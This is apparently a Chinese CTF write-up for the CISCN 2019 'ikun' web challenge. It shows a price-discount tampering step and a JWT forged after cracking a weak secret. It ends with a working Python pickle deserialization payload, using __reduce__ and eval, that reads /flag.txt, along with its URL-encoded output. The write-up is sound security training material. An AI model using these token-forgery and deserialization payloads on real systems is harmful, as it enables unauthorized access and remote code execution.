[CISCN2019 华北赛区 Day1 Web2]ikun
首先看到
想到去找lv6,一页一页翻太离谱,想到写个脚本
import requests
import time
url = "http://7077f8c9-2f48-4b21-9d31-61cfc868d4a2.node3.buuoj.cn/shop?page="
for i in range(0,10000):
nurl = url + str(i)
print(nurl)
#time.sleep(0.5)
res = requests.get(nurl)
if "lv6.png" in res.text:
print(i)
break
在181页找到了lv6,注册并购买,很明显钱不够,试试抓包修改金额,不,改折扣
discount改成0.0000001
发现一个新url,/b1g_m4mber,上面显示该页面只能由admin访问
发现一个叫JWT的,是JSON Web Token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q
先进行一次base64解码
{"alg":"HS256","typ":"JWT"}{"username":"1"}"`ΐ@0ڣ-~̅ha賽Ю
把username改成admin试试(我的登录名是1),因为后面有一个sha256,所以需要破解工具c-jwt-cracker
密码1Kun
去这里生成JWT,https://jwt.io/
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
回到Burp里,生成,有反应了,让我一键成为大会员,点完没反应
不急,看看F12,发现源码的下载地址,/static/asd1f654e683wq/www.zip
进行代码审计
在settings.py里有一个hint
\u8fd9\u7f51\u7ad9\u4e0d\u4ec5\u53ef\u4ee5\u4ee5\u8585\u7f8a\u6bdb\uff0c\u6211\u8fd8\u7559\u4e86\u4e2a\u540e\u95e8\uff0c\u5c31\u85cf\u5728\u006c\u0076\u0036\u91cc
进行unicoed解码https://tool.chinaz.com/tools/unicode.aspx,提示说这网站不仅可以以薅羊毛,我还留了个后门,就藏在lv6里
在Admin.py中可以找到pickle.loads()函数
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
涉及:pickle反序列化
pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。
pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化, pickle序列化后的数据,可读性差,人一般无法识别。
p = pickle.loads(urllib.unquote(become))
urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式
pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回
检测方法:
全局搜索Python代码中是否含有关键字类似“import cPickle”或“import pickle”等,若存在则进一步确认是否调用cPickle.loads()或pickle.loads()且反序列化的参数可控。
构造payload,需要用到pickle里的函数
Pickle模块中最常用的函数为:
(1)pickle.dump(obj, file, [,protocol])
函数的功能:将obj对象序列化存入已经打开的file中。
参数讲解:
obj:想要序列化的obj对象。
file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
(2)pickle.load(file)
函数的功能:将file中的对象序列化读出。
参数讲解:
file:文件名称。
(3)pickle.dumps(obj[, protocol])
函数的功能:将obj对象序列化为string形式,而不是存入文件中。
参数讲解:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
(4)pickle.loads(string)
函数的功能:从string中读出序列化前的obj对象。
参数讲解:
string:文件名称。
【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。
思路是我们构建一个类,类里面的__reduce__
魔术方法会在该类被反序列化的时候会被调用,而在__reduce__
方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码.
最终:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
得到
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
点击一键成为大会员,讲结果插入到become里!
得到flag!
参考: